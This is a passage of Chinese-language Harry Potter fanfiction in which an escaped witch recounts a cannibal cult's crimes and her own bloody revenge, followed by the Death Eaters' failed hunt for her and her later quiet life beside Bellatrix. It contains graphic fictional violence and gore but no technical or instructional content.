牧师向我走来,只是他没有为我松绑,而是给了我一巴掌。
逼供吗?
“不知道您的生命是否与秘密等价。”他对我说。
我的脸一下子沉下去。不仅仅是因为他打我的那一拳,还因为这一伤害与威胁带给我的信号。
当我对他说用自由来交换秘密是,我希望达成的共识是合作,是他们中止犯罪,我们互换真相。正巧我也十分好奇莎拉家的秘密。而他们如今的逼供行为却让我明白,无论我是否吐干净所有真相,这帮人都已经不打算放我走了。
那就换一种思路吧,他们想杀死我,我也可以杀死他们。
我不是一个需要魔杖的巫师。
“我的生命当然至高无上。”我说,“但是,很显然,对您而言,我的生命不值一提。杀死我——或者让我说出真相,您的选择我已经能够预料到了。”
“您觉得是哪一项?”
“让我来吧,斯庇德。”一个穿着白袍子的老人站出来。他是白衣服中的最年长者,似乎在这十二人团体中颇有威望。
“据说,您与莎拉是朋友。我们都是莎拉的亲人,因此,我们十分希望能够得到克莱尔一家灭门的真相。”他帮我整理一下衣领,微微俯身看着我道,“我想,我们能够达成共识。”
这个老家伙的眼神十分诚恳,一副令人信服的样子,“首先,我问您一些问题,您回答我,可以吗?”
“给我松绑。”我说,“不然,我没有必要回答你。”
“话说回来,先生,我一直觉得您穿的衣服十分眼熟,你和莎拉她家是一个教派的吧。你也有十几个孩子吗?还是说这些人——”我扫视他身后,“都是你的小孩?”
“哦对了,还有一位太太应该怀孕了,你要做爷爷或者再做一次父亲吗?”
我得意地看到他的脸色已经变得黑沉。他对我说:“或许我早就应该知道您是一个恶棍。”
我朝他笑了一下,露出满嘴的牙齿。我看见对方眼瞳中,我夸张的笑容、黑洞洞嘴和眯起来的眼睛。我吐出舌头,鲜红的舌苔上像是覆着一条偏平粘腻的蛇,我对他说:“莎拉在这里。”
“你现在也想吃掉我,对吗?”
秘密之所以成为秘密,大约是行动本身拥有一些见不得光的东西。人之本性在于违背规则却又服从与规则,肉身不断出/轨,精神却又认为自己应该行进在轨道上。如此一来,人本身就可以分割为两部分,既身体与精神。
有哲学家认为,人活于世,论迹不论心,因为【心】是无法影响物质世界的,能够改变物质世界的只能是物质,也就是不断活跃着背叛着的身体。
莎拉是我唯一的朋友,我愿意与她分享我扭曲的精神世界,也愿意与她分享我剥皮换来的钱财与秘密,以至于在她死后,我认为她需要我的帮助,我保存我们之间的最后一个秘密——会将她所有名誉抹杀的秘密。
故事的一开始十分乏味无聊。人与人之间的仇恨永无止息,但是真论错处,我们还是能分辨出最先动手的那个。
这件事要从一场宴会说起。
“我会包庇她,无任何理由且无任何条件地包庇她,就像她曾经包庇我那样。”我对老人说。
莎拉·克莱尔是一位异教徒,教徒都是成窝成窝出现的,不论是基督或者什么巫教都是这样,因为人本来就是一群动物,动物生活在自己的氏族里,人也一样。
莎拉的家族拥有长期且邪恶的信仰
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,他们认为,食用一些【人】的一部分就能够获得那些【人】的能力。结果显而易见,就像远古是两支不同人种的战争一样,吃掉对方并不能获得什么特异功能,他们只是在身体上越轨了。
他们会抓来一些被称之为“恶魔”的家伙——大部分都是七八岁左右的孩子,我不知道他们是怎么挑选猎物的,总之,绑进来,塞到地下室。我曾经溜进过她的家,看见过这些场景。
那一会,莎拉的妈妈克莱尔夫人对我还不错,她吓坏了,以为我不懂得这些事。反正她家的孩子足够多,给那个孩子随便编了一个名字,把我打发走。晚上,那个孩子就出现在他们的餐桌上。
每次宴会之后,莎拉都会对我说,她好一些了,她好像变得有特异能力了,她变得强大了。
“先生,我想,你们也是一样的吧。自欺欺人地觉得吃掉恶魔,自己就能够成为‘恶魔’。”
老先生冷漠地望着我。他这会的眼神真够吓人,就像屠夫。唉,这些人还弄不懂自己在食物链上的位置呢。也许是绑架小巫师给了他们一种莫名的自信,觉得那一套能够用在我身上了?
或许在刚才是可以的,他们偷袭我之后,立刻将我开膛破肚是可以的。但是他们想从我这里得到真相,他们想要为“氏族”里的人报仇。
“您难道不是恶魔吗?”他问我,“维达·加尔,即使是在恶魔中,你同样臭名昭著。”他从口袋里掏出一张通缉令,是魔法部的东西。
有巫师在帮助他吗?
“恶魔杀恶魔,这对于您来说不是一件好事吗?”我笑嘻嘻地说,“这说明我和您在做一样的事呀,为我松绑吧,看在莎拉的份上,我们能做朋友。”
“我需要知道那天晚上发生了什么。”他说。之后,不顾牧师的阻拦,上前解开我手上的绳子。我活动手腕,觉得舒服了一些,就问他:
“您是莎拉的亲人,对吗?”
“您认为‘复仇’究竟应该在哪一步停止呢?”
那天的事情我记得不太清楚了。这是一句真话,因为即使是我,也会有感受到十分恐惧与痛苦的时候。
-六月一日
“说不定世界上有一百万只维达。”莎拉的妹妹说完,拽住我的头发,“你别跟着我们,这是为了你好,犹太佬。”
“你不要抓我。”我狠狠打掉她的手,她嘟起嘴吧,像是想要叫保姆过来。是莎拉把她拦下来,她摸了摸我的头发,又在我的额头上吹了吹。
“不痛了哦。”她对我说。
“我要和你一起玩”我大喊。
“不行,你不准和我们玩!”她妹妹也大叫,引来她家最大的一个姐姐。我们三个一人挨了一拳之后,莎拉对我说,“我们家晚上有宴会,你不要来。”
“千万·千万·千万不要来。”
22.罗腾树下
那时候我还是个愣头青,当然,现在我仍旧是一个随心所欲的人。我就在想:她们家现在还有什么秘密是我不能知道的呢?
于是那天,我就藏在灌木丛后边,看着她们那古怪又血腥的宴会开场。
当天天气很好,初夏气候宜人,傍晚的窗边全是玫瑰色的云朵。斜阳的光照在屋子里淡黄色的墙壁上,像是一碰被戳破洒出来的蛋液,带着粘稠的质感湿哒哒地往下淌。
彼时命运正张开一张苍白的充满疑问的大口,我将其误认为是求知的眼睛,与它在一无所知时互相对视。如今仔细想来,只觉得荒谬可笑。
莎拉正端着盘子从屏风后面走出来,她看见我,眼睛瞪得很大,慌乱地把盘子往座子上一放,就将那一身白袍子提起来,跑出屋子。
她拽着我走到灌木丛后面,把我的脸死死按在枝叶下,小声问:“你怎么又来啦?”
“我为什么不能来呀?”我把薯条塞进她的衣兜,“我想你了。”
“诶,你?”莎拉赶紧松开我,把薯条拿出来,拼命往嘴里塞,“要是我家人发现你,你就等着被吊起来打吧。”
“我又不是‘恶魔’,你们打我做什么?”我问。
她欲言又止,塞满食物的脸上满是复杂的神情。“喂,”她把食物咽下去,“你真的不知道我们在做什么吗?”
“至少你现在在吃素。”我说。
“哦。”她吃完包装袋里的薯条后,将袋子又塞回我的手里。麦当劳的薯条全世界最好吃!
“世界上所有人都在吃人。”她像是自我开脱一样解释道,“至少,我们不是毫无道理地吃掉它们。”
“我姐姐的病就因此好了,我胖了不少,我的妈妈又怀孕了。”
“这都是我们杀死恶魔之后,上帝给予的恩赐。”
她说着,这个理由我在过去已经听过不下于十遍。她也多了两个妹妹。
我们头靠在一起,至少莎拉现在还没吃其他东西,嘴巴里还没有那种恐怖的味道。我对她说:“那你以后怎么办呢?”
“以后......就这么做呗,和我妈妈一样,嫁去其他城市,生好多好多小孩。”
“你要去别的地方!”我的声音陡然抬高,这时,我忽然感到有些不对劲。这种感觉绝非空穴来风,而是一个切实的恐怖的预感。
它在靠近。
一根冰冷的棍子戳在我的脖子上,对面,莎拉也瞪大眼,一个男人手上的棍子发出绿光,莎拉就无声无息地倒地了。
“这个孩子没有穿他们家的衣服。”我身后一个女人说。她伸出手钳制住我,压低声音,“你叫什么名字。”
我盯着莎拉,愣愣的。
“维达·加尔。”我说。
那个女人放开我。
“这个不是。”她说。
“但是她刚刚和那个克莱尔家的杂种在说话。”站在我对面的男人手指不停颤抖,他很害怕,甚至比我还要害怕,为什么?
难道不是他们正在伤害我吗?
我身后的女人念了一串咒语,我的身体就像是被冻起来一般,从脚指头开始冒寒气。接着,一只奇异的手掌伸进大脑,它像是拿走了什么,软绵绵地,甚至在离开之前挠了一下我的心脏。
“......”我的后背被踹了一脚,整个人面朝草地倒去,鼻子砸在泥土上,酸溜溜的。后来,那两人就走进房子。
我侧着脸,僵硬地看着夕阳如融化般一点一点滴落在云层中,草尖刺在我的脖子上,又痒又疼。一丛丛乌鸦从灌木丛里飞起,自东边飞往西边,又飞回来,像是一场小型世界的迁徙。
莎拉一动不动地倒在我的面前,我想喊她的名字,嘴唇却无论如何都动不了。
这是为什么呢?
等到残阳消失,浓黑的世界重新出现,后脑勺处的月亮将光照在地面上。我的身体在地上留下一片阴影。
那两人也走出来。他们两眼空空,脸上皮惨白无比,嘴巴耷拉着,如一对行尸。
“这个怎么办?”男人问着,他将我从地上拽起来,像拎着一条狗一样。
女人看了我一眼,又看向地上无声无息的莎拉,眼中的怒火一下子烧起来。她又有了力气,质问我为什么和这群恶魔生活在一起。
我怎么解释呢?
我没有做出任何解释。这场审判如我经历过的任何一场一样。大法官们缝起我的嘴,他们不需要解释,他们在开庭之前就定下我的罪。
女人割下莎拉的头颅,她身上许多血,我分不清是一开始她走过来的时候就有这些血,还是这些都是莎拉的血。
月亮亮堂堂地挂在天上,将他们和我的影子拉扯延伸至莎拉躺着的身体边。我感受到几根冰冷的手指塞进我的嘴巴。
我拼命闭着嘴,用舌头去顶,用牙齿去咬——我真的做过这些动作吗——为什么我如此如此——如此用力地反抗,那些东西还是被塞到我的嘴巴里?
这两个人说着报应,那我的报应是什么呢?
我盯着莎拉的脸,她仰视着我,空洞洞的眼睛不断看着我,我也愣愣地盯着她。
过了一会,我笑起来。
“我不怕你。”我说。
一周之后,这两人又一次造访我家。那两个人说什么左思右想之后不能把一个吃人的怪物留在这个世界上。
说起怪物,强迫我的这对男女才是怪物吧。
我盯着一群一起出现的警察将他们带走,最后,一个警察对我举起小棍子——魔杖。但是,或许是我的记忆力过于好了,又或者莎拉不舍得我忘记她,再者,或许真是恶魔的力量在作祟——我还记得他们,记得这两个人的脸,也记得那个月亮挂在天上的夜晚。
“那两个人是谁?”
“我不知道他们的名字,但我知道他们都已经死了。”
“哦?”长者问我,“你是怎么知道的?”
“他们都在阿兹卡班,一个做了我的狱友,一个被我继承牢房房间。”
“现在,他们都死了,你们也是。”
下面的白袍人一个接一个开始倒下,最后一个是牧师。我问他,加尔小姐知道这件事吗?
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>他全对我说了。
我的姑姑乌拉尼亚·加尔是一个愚蠢到令人发笑的可怜人。
她一心认为我是一个被恶魔诅咒过的孩子。因此,在牧师找上门来时,就这样轻而易举地将我送了出去。我不能理解她,也不能原谅她。
我是一个吃人的恶魔,既然如此,就杀了她吧。
我又问牧师:我的羊呢?你是不是根本就治不好它。
他不敢回答我。
牧师软绵绵地倒在我面前,正如当年的莎拉一样。我拨了拨他的脸,让他也照到月亮。我的姑妈此时正在家里吸烟,一簇烛火落在她头顶的睡帽上,将她吓得如猫一样跳起来。我来时看过笼子,羊不在那里。
我就问她:“乌拉尼亚,我的小羊去哪里了。”
此时,老小姐扑灭头上的火焰,心底怒火烧得正旺。她对我口出恶言,说羊已经被卖掉了,那只我认为的被恶魔附身的羊今日就会死在屠刀下。
我盯着她看,发现她的脸与我父亲十足相似,神态又像极了我的母亲,他们都是刻板又严厉的人,是披着人皮的恶魔。
恶魔杀死恶魔是再正常不过的事。
杀死恶魔是正确的事。
是好事。
我杀了她。
但是,羊在哪里呢?
羊在哪里呢?
我抬起老小姐的头,忽然有些后悔就这样杀掉她,我应该问出羊在哪里的。
“卡车.......屠宰场......”她的头颅却忽然开始说话了。我盯着她的脸,拽着头发就把它往外拖。她太重了,我只能带上一部分继续前进。
“右边......”
我走得很快,却又不够快,好像世界上所有的东西都在今晚和我较劲。我想要我的小羊,却只得到一具首身分离的伤痕累累的尸体。
就好像是报应我一样。
我疑惑地盯着羊,工人也疑惑地盯着我。我转过身,让他看见我手上的头颅。
“你杀了我的羊。”我说,“你没有放血,这不是杀羊的方式,你折磨死它了,为什么?”
我走到那个穿着塑料衣服的男人面前,又问了一次,“为什么?”
“因为这是我喜欢的东西,你要夺走我喜欢的东西。”我盯着他的眼睛,好像听见他的心在对我窃窃私语,“你没有被爱过,所以你要夺走别人心爱的东西。”
“你用烟头烫了它的眼睛,把铁签塞进它的嘴巴里,你电击它,又用刀子一片又一片割它。”我感到头晕目眩,大脑却逐渐清明,好像有什么离开我,我好像又获得了什么。
【震怒之日,哀恸之时】
在月亮下,我施展了报复。我用他的一部分缝起了我的小羊。
我支离破碎的小羊。
黑色的线条缓慢遮掩脖颈处的伤口,小羊站了起来,它用沾满鲜血的发硬的毛发轻轻蹭了蹭我的手,如此恭顺,如此温良。恶魔已然离开。
我的小羊回来了。
这样的喜悦并没有维持多久,伴随一道吱呀声,我听见工厂的铁门被打开。
23.神迹奇事
贝拉特里克斯·布莱克的人生终于走上正轨。
像是为了彻底与过去切割般,今年五月,在毕业之前,她就加入一个名为“食死徒”的极端巫粹组织。她的父母松了一口气,并为此感到自豪。
十一月时正是她的十八岁生日,此时她的坏朋友维达·加尔已越狱一年半整,如果她还活着,大概是十六岁。这个年纪是安多米达帮忙算的,因为安多米达也是十六岁。贝拉在安多米达过生日时才恍惚想起来维达应该也是一名少女了,不知道她现在过得如何。
当年的鸟巢早就被锁在箱子的最底层,那两颗蛋——贝拉特里克斯蛋与维达蛋也不知所踪。
清晨的时候,克利切正在收拾储物间,它找出一个灰蒙蒙的东西,将它与杂物堆在一起,正准备往外扔。贝拉走过去,拿起它并抖落上面的灰尘,才意识到它是维达寄过来的暑假作业——一篇错字连篇的历史论文。
同样也是在这一天,她的同事——卢修斯·马尔福带过来一个不知道是否应该被称得上是坏消息的信息——他对贝拉说:维达·加尔还活着。
当时正在食死徒的集会上,这个消息令四面八方的眼神都聚集在贝拉特里克斯的脸上。她不由地抿起嘴唇,作出冷漠的神态问道:“是吗?那么这与我们有什么关系呢?”
“这当然有关系。”马尔福说,“传闻中,你和这个泥巴种十分要好。”
贝拉的眼神变得凶狠,像是受到羞辱般。然而,这时一群人却起哄起来,这帮不知天高地厚的少爷小姐们正想做件扬名巫师世界的大事。他们裹挟着贝拉,说要去狩猎这个穷凶极恶的泥巴种,给她一点颜色瞧瞧。只是从他们亢奋的表情中,只怕不仅仅是“教训”一顿就能了事。
卢修斯·马尔福见话题已经被挑起,甚至黑魔王也饶有兴致地望过来,他便立即公布维达·加尔所在的地址。这位通缉犯小姐如今正打着归隐山林的主意,竟然回到自己麻瓜姑妈的家里,与麻瓜一起经营一家破破烂烂的农场。
在场之人发出哄笑,所有人都觉得这将是一场轻松愉快的旅行。贝拉特里克斯想要退出,却被几位好友叫住,他们希望贝拉能够亲自动手,表明决心。
要为了一个坏朋友毁掉自己的人生吗?
当然是“不要”。
他们在一天夜晚造访小镇。当日的月光何其明亮,将地面照射得如同一汪清澈的泉水。其中一位朋友说,前一阵子他在维达身上下了追踪的咒语,现在跟着罗盘,就能够找到她。
这令狩猎变得更加容易。指针在金属盘面上缓慢移动,阴影转过表盘上月亮的花纹,转过天体勾起的嘴角,最后留在那菱形的眼睛处,如一条流淌的令人不安的眼泪。
寒风踱步而过,路灯忽明忽暗间,一股铁锈的腥味沿着指针处飘来,叫人汗毛倒竖。
他们最终停在一间工厂前。
贝拉不愿意做推开门的那个人,大约是良心未泯,又或者问心有愧,倒是卢修斯·马尔福兴致勃勃。也是,他这个人一贯喜欢欺凌弱小以彰显权威,他的胆子只有一点点大,但是坏念头却不少。如今大约是坏念头作祟了,他竟然忽略此处安静到出奇的工作环境与奇怪的拖曳声,先一步上前推开铁门。
几人直直撞了进去。
里面黑黢黢的,没有一点光亮,只是气味实在难闻,大概这就是泥巴种和麻瓜应该住的地方。卢修斯想着,脚底像是踩到什么黏糊糊的东西。接着,莱斯特兰奇和多洛霍夫也踩到了,他们三个最先闯进来,也最先遭殃。
此刻,三人点亮魔杖,只见脚底似乎是一根湿漉漉的什么。
是什么?
潮湿软烂的脏器向前延伸,卢修斯·马尔福的视线也跟着往前,他看见一截碎骨头,一团鲜红色的肉和敞开的肺腑——最后是一颗被抱在怀里的头颅。
“你踩到我姑妈的肠子了。”黑暗里,面色苍白的女巫对他们说,“是我把她拔出来,现在,我要把她安回去。你们踩烂了,我就安不回去了。”
三位闯入者的喉咙发出凄惨的呜咽,只是声音不够大,听上去像是被噎住一样。他们并没有与女巫交手就自己软软的倒下。
留在门外的几人以为里面是安全的,正准备问马尔福看见了什么,就见身后来时路上走过来一个矮小的东西。
留在外边的拉布斯坦以为是狗,正准备呵斥它,叫它走开,就被身边的人狠狠掐了一下。忽明忽暗的灯光影响他们的判断,但是,在明暗闪烁间,他忽然意识到这是一双行走的双腿,至于他们以为的狗的前肢,实际上是人类被剥落的上身的皮肤。
留在门外的巫师大叫一声,齐齐闯入门内,接着又是一声惨叫。他们猛地退至贝拉特里克斯身后,缩在这位女巫并不宽广的影子里。
-
他们把我姑妈的肠子踩烂了!
这帮禽/兽!
羊正缩在我身后,也被这些暴徒吓得够呛。我十分愤怒,最近诸事不顺,连带着我的脾气相当暴躁。
这时,一个闯入者说:“维达·加尔,你是维达·加尔!”
“我当然是,你们还踩着另一个加尔!你们踩着的是我姑妈!我怎么把她安回去,太可恶了,太可恶了,不可饶恕——”
“加尔!我们是来找你的啊,你还你记得贝拉吧,你冷静一下,我们带着贝拉来找你了!求求你冷静一下!”
“我不管什么贝拉——你们必须——”
“贝拉特里克斯·布莱克!这是你好朋友啊!贝拉!”阴影中的一个人被推到我跟前,她也是一个女巫,长得很高,脸因为背着光看不清晰。就算真的是贝拉又怎么样,可恶,贝拉怎么会在黑漆麻乌的夜晚跑到麻瓜工厂呢,他们必然是骗我的,必然是想抓我回去邀功。
“巫师!好哇,巫师!你们也是来抓我的!”我大叫,正准备动手,另一个人快速滑跪出来,他举着发光的魔杖,照见一张涕泗横流的脸。
“你还记得我吧,我是莱斯特兰奇,你小时候还打过我呢。”他苦苦哀求到口不择言,“地上的是我哥哥罗道夫斯,你小时候都打过的,我们不是来抓你的——对,我们是来帮你的——加尔,我们是
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帮你的!”
“哦哦哦,小羊!这只羊肯定认得我!”男巫不断哽咽,甚至想伸手抱住我的羊。“呜呜,我们是好人,我们是巫粹党,我们和你是一边的!”
“和我一边?”我狐疑道。
“没错,我们帮助巫师,加尔,我们是来帮你的。”他涕泪涟涟。
此时,我的姑妈终于走进门,几位躲藏着的巫师连忙起身搀扶住她上半身的皮,像扶着舞会里的贵妇人般。“姑妈来了,姑妈很精神的,姑妈真整齐啊。”他们手舞足蹈,甚至自告奋勇地抓起地上的肠子就往皮里塞。一群人像虫子一样在地上乱爬,看得我目瞪口呆。
感觉不对劲,再看看。
他们摸索着,而最先被推出来的女巫仍然站立不动。我有些生气,因为其他人都恐惧且臣服于我,只有她一动不动,我就把姑妈的头举到她面前,她仍旧没有动作。只有直视姑妈之脸的拉布斯坦惨叫一声,和他哥哥躺倒一块去了。
终于,那名女巫有所动作,她缓慢接过我手上的头颅,冰冷的直接划过我的手腕,她摸了摸我的头发。
我正准备开口,这时,一个倒霉鬼撞过来:“加尔,姑妈已经塞满了。”
“......地上有两个人的肠子。”
“好的,姑父还来吗?”
“我姑妈没有结婚。”
倒霉鬼迟疑一下:“还有一个人在?”
“还有一个在里面,十一个在另外的地方。”
“你想要的应该不是把他们装回去吧。”女巫对我说,她侧过身子,露出贝拉的脸——真的是贝拉吗——“你要怎么处理这些人?”
“我的姑妈要塞回去,缝上,她是个好人,要完整。”我说,“农场里十一人是我朋友的朋友,也是好人,要完整。至于这个,”我指了指厂房里,“烧掉吧。”
“那我们呢?”倒霉鬼吸吸鼻子。
“你们先把我姑妈肚子里另一个人的肠子掏出来,然后去墓地挖十二个坑,把完整的人放进去。然后回来把这个人烧掉。”
他们赶紧动起来,我担心这帮人使诈,就让他们把魔杖都给我,于是,我兜里揣着一捆魔杖,看着这帮人进进出出地扛尸体。我蹲在墓地,贝拉就站在我身边。那些人倒不敢叫贝拉去干活,或许在无声的分配中,贝拉得到的是“看管我”这个任务。
见天光大亮,这帮干活磨磨唧唧的人才挖出一个浅坑,我已忍无可忍,直接炸开墓地,叫他们赶紧把人都扔进去。这帮巫师干完活,又跑回工厂准备火化那个工人,却被工厂主目击一片狼藉的现场。
魔法部傲罗姗姗来迟,把这帮没有魔杖的少爷小姐们像栓小羊一样全部栓回去。他们临走时,表情又哭又笑,像是得到了解脱。
贝拉与我一起盯着那些人,问我准备去哪里。她向我介绍了全世界最完美的黑魔王
——伏地魔。
恶魔还没走!他甚至附身到贝拉最喜欢的领袖身上!
不行,我要拯救贝拉。
我抱住贝拉的身体,轻轻抚摸她的脖颈。
24.弃绝恶物
贝拉特里克斯·布莱克小姐又被我绑架了。
从魔法部更新的通缉原因来看,我二度绑架布莱克小姐已经不是最重的罪名,杀死十三位麻瓜并胁迫纯血家族十数位巫师清理犯罪现场令他们罹患精神疾病才真正令我成为目前全英国最危险的巫师。
巫师,真脆弱啊。
-
新一场的食死徒集会举办在圣芒戈的精神卫生中心——应该是叫这个吧,不是也没关系,反正这一片的本质就是精神卫生中心——黑魔王没有来,据说他去见传奇黑巫师维达·加尔了。
贝拉特里克斯也没有来,据说是她把维达·加尔引荐给黑魔王的。
她怎么还惦记着这个维达·加尔啊!
食死徒们叫苦不迭,此时,午餐的番茄浓汤被端上来,这帮巫师们也没有声讨什么人的心思了,他们一个个面色惨白,更有甚者不断发出呕吐声。
治疗师称,这是成本最低的脱敏疗法。
好在第二天传来消息,黑魔王拒绝见这个危险且臭名昭著的黑巫师。
太好了!
-
我在外面躲藏了两年多。贝拉帮我找到一个地处于伦敦的房子,这里楼上楼下都是艺术家,大家都很奇怪,于是就都不奇怪了。
期间,贝拉带着她的父母过来见过我,那是我寥寥几次与布莱克夫妇会面的场景。他们与过去十几年相比,变化不大,只是更有礼貌些了,竟然和我勉强有几个共同话题。
我很震惊他们竟然会喜欢我的小羊,竟然会觉得我家的布艺沙发图案十分可爱,认为菠萝披萨是这个世界上最完美的食物。他们竟然过得如此新潮!
好吧,其中,沙发是从他家杂物间捡来的,菠萝披萨是克利切上午烤的。克利切是布莱克家的仆人,有时会听从贝拉的吩咐来我家帮忙。
它是一只唠叨的老家伙,我经常能撞到它在空无一人的房间里碎碎念,只是在我面前,它一言不发。我曾经命令它与我对话,它却说:“不得了了,贝拉主人说加尔小姐要找克利切麻烦了,克利切必须立马消失,克利切必须保护自己!”
然后,它就消失在房间里,等到一天后才探头探脑地出现。
后来我们熟悉了,它偶尔会问我晚上想不想吃煎鱼,以及问我和贝拉相处得怎么样,还有就是劝我去找个正常工作——哪怕是麻瓜的工作也好——这是布莱克夫人想说的。
于是,我就以编织和雕刻为生。白天在工作间工作,傍晚的时候就背着作品去地铁附近贩卖。后来竟然做得还不错,贝拉就出资,让我在破釜酒吧附近的麻瓜街道上开了一家小店。
来来往往里我偶尔会遇到巫师,巫师也大多能认出我,但是没有人去举报我,傲罗也没有来过,就像这里设置过巫师驱逐咒般。
某日,克利切过来收拾店铺时,不经意地把一根魔杖扔在地上,我捡起它,发觉用得挺顺手,就收下了。
这两年十分平静,除了贝拉从未放弃让我继续学习。她指望我自学成才,后来发现我实在不是念书的料子,就压着我学黑魔法,越是攻击力强的就越优先,就好像我无法保护自己一样。然后就是推销她那个无所不能的黑魔王。
我认为这十分有趣。就问她那个黑魔王有什么好的。
鉴于伏地魔曾经对我与小羊造成的伤害,我已先入为主地认定贝拉所崇拜的这个黑魔王也一定是个被伏地魔控制的可怜人,或者更说不定是那个伏地魔控制了贝拉,恶魔一贯会玩弄这些地狱的把戏。
贝拉每向我介绍一次黑魔王是如何强大迷人,我就越唾弃这只寄生的魔鬼。
曾经,贝拉想将我引荐给这个伏地魔,我已磨刀霍霍做好准备去杀掉他,却没想到那只恶魔退缩了。一定是他被我吓退了,着实可笑。
这两年来,贝拉也不工作,除了去那个黑魔王那边就是看着我读书,后来也帮我看店。布莱克夫人有时候也会从店铺外面经过,与我对视几眼后就匆匆离开。我的店铺并不大,一开始也没人觉得我能弄出什么名堂,后来不知道怎么的,竟然也稀里糊涂地开下去,就是不怎么赚钱罢了。
好在我对物质的生活并不渴望,准确来说——我不知道应该怎么去花钱。我不像那些楼上楼下的艺术家那样去磕致幻剂,也不爱做个酒鬼,更没什么文化,每天除了工作就是回家躺着发呆,似乎这一切与阿兹卡班并没有什么区别。
根据我的观察,规律生活的人实际上与坐牢也都没有什么区别,我并非个例,人生就是念书、工作、死亡。
这样的生活与我儿时所过的日子有着天壤之别,我小时候从未想过我能够拥有一间小店铺,也没有想过能够靠着自己的手艺获取正当收入。这样很奇怪,远离坑蒙拐骗之后,人生竟然也能平淡无奇地过下去。
人们不用假装道德,也不必制造独有的家庭秩序,一个人就能活得很好。
这实在是有些过于奇怪了。
我抬头看向窗外:老旧的木制窗框割开被克利切擦得一尘不染的玻璃,阳光就缓步走入房间,落在我的工作台上。锥子与羊毛毡散发暖融融的光芒,另一边是同样的木头橱窗,里面摆着已经做好的手工艺品。
有时候,桌子的一角会留下贝拉的长头发,这是没有办法的事,她正处在头发旺盛且脱发的年纪。我用镊子夹起头发,顺手一个消失咒。我不知道消失咒背后的工作原理是什么,我从不深究这些,咒语只要好用就够了。
店铺的门被推开,铃铛摇晃两声,我看见贝拉涨红了脸快步走进来。我赶紧把游戏机藏进抽屉里,作出认真工作的样子,然后颇具表演色彩地抬起头看向她。
“发生什么事了,贝拉。”我关切道,“现在外面很热——你要喝水吗?”
她恼怒地摆手,接着,又带给我一
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个重磅消息:安多米达要结婚了。
“她才十八岁就要结婚吗?”我很震撼,掰着手指头数了数,如果她今年结婚,明年生小孩,那么等到她三十七岁,她的小孩就也能结婚了!
我妈妈可是四十岁才生下我的!
贝拉倒是没对她妹妹结婚的年纪表现出什么不满,我以为她反对的是早婚,没想到她——以及她全家反对的是安多米达的未婚夫——那是一个麻瓜。
实际上,我反对世界上所有的未婚夫和丈夫,因为我总是觉得他们是不忠诚的人。
当我将这种忧虑告诉贝拉之后,贝拉不觉得安多米达考虑过这些,她否定安多米达的恋人的时候甚至也没有想到过人品之类的因素,只是单纯因为那个男人是个麻瓜。
“不可以和麻瓜在一起吗?”我疑惑地问,“我以为布莱克夫人已经转变想法了——我们之间还挺能聊得来的。”
贝拉噎了一下,她朝我翻个白眼:“你确定你们之间有共同话题吗?”
“难道没有吗?”我大惊失色,立刻紧张起来“她也在骗我吗?她要对我做什么?”
“不,她没有骗你。”贝拉沉默片刻之后说,“不说这些了,总之,如果安多米达过来找你,你不准支持她。”
我点点头。安多米达的样子我都记不清了。离开阿兹卡班后,我和她相处的经历就像被磨平抛光的砂石一样,想回忆都不太可能。
贝拉眯起眼睛观察我片刻后,拿起桌子上的针和线,开始往布偶身上缝。
我想着抽屉里的游戏机,陡然升起一摸心虚感,也赶紧拿起羊毛毡戳戳。过了一会,我打开电视,开始看动画片。贝拉严肃地咳了一声,我继续拿起锥子心不在焉地戳。
实际上,贝拉应该是多虑了。安多米达没有找过我,一直都没有。
之后两个月里,贝拉的脸色越来越差,来找我的时候也十分暴躁。圣诞节时甚至都没有与她的家人一起过节,而是跑到我这里来,抓着我抱怨一直在家里闹脾气的安多米达。
她说,安多米达怎么就不能像纳西莎那样省心,又或者像我——她说到这里的时候语气顿了一下,又摇摇头,说还好不像我。
我心里十分气愤,就问她,我怎么又惹着她了,不是在骂安多米达吗,怎么又骂到我头上来了。
贝拉特里克斯这个刻薄鬼这个时候才说漏了嘴,原来布莱克一家一直担心我哪天癫病发作了就把布莱克家也灭门了,所以她家才一直哄着我。
——我从来没有灭过谁谁谁家满门!
我对这种污蔑行为深恶痛绝,并且重翻旧账,说布莱克家栽赃我是谋杀莎拉一家的从犯,害得我幼年失学,做了好多年牢。是布莱克家对不起我,他们应该为此赎罪!
我的人生,就是被布莱克家毁掉了!
“好了!”贝拉捂住我的嘴,“现在你不准说话!”
25.罪人与义人
我对布莱克小姐的行为无比鄙视。紧接着,她岔开话题,又开始说安多米达的过错。
我除了不喜欢安多米达结婚之外——这一点我与贝拉很有共同话题——其余的我没有什么可以插嘴的。因为我既不认识那个麻瓜未婚夫,也不记得安多米达了。我只是听见一个女性十八岁,哦,几天之后她就要十九岁了,总之,我听见她要结婚了我就觉得害怕,特别是她要去别人家里,改成别人的姓氏。
我总是会回想起年幼时的父亲,流浪时期的马戏团,和我的魔术助理。直到晚上,我躺在沙发上闭眼之后,脑中一幕幕的都是过去的那些谎言。
我睡不着,就走进房间拍醒贝拉,安慰她说:实在不行,我们就去把那个麻瓜杀掉吧。就当是为了安多米达。羊跟在我身后挤进来,摇头晃脑——它今天也痛失床铺。
贝拉大概是睡得还不错,可恶,如果不是她一定要留下来,一定要和我抱怨这些事,现在睡得不错的人就是我了。
她还没有反应过来,只是听见我的杀人提议之后立刻把手重重盖在我的头顶。
“不行。”她说。
“那我们去把他打一顿?或者锯掉他的一条腿或者胳膊。贝拉,安多米达不会接受一个残疾人做自己的伴侣的。”
贝拉再次拒绝了,她认为自己能够使安多米达回心转意。之后的一个月里,她仍旧不停地抱怨,为我增添许多压力。
终于,在三月初,天气冷得像冰的时候,贝拉叫我去布莱克家一趟。我隐约意识到这件事与安多米达有关,也意识到这件事必将以一场流血事故结束。
说这句话的时候,贝拉不敢去看我的眼睛。我猜到布莱克家的打算了,与我之前的打算大差不差,甚至布莱克家隐隐有拿我顶罪的念头。我心底觉得好笑,耳边似乎又响起很久很久之前贝拉对其他人说过的我的定位:
麻种打手。
我开始想,在阿兹卡班里,有多少人是麻种打手呢?那些纯血家族出于荣誉需要而展开斗争的替罪羊。
我可以拒绝贝拉,但是在此之后,我与布莱克家一直以来维持的虚伪的和谐就会立刻被撕破,他们会再次夺走我的一切东西,包括我苦心经营的小房子。
果然,人只要拥有财产就会被社会绊住,我是这座城市里最经不起风雨的小市民。那就只能去试一试了,一不对劲我就跑掉,背叛贝拉和布莱克就像吃饭喝水一样简单。
傍晚的时候我早早关了店,把门窗锁好后依据地址找到布莱克家所在的广场上。
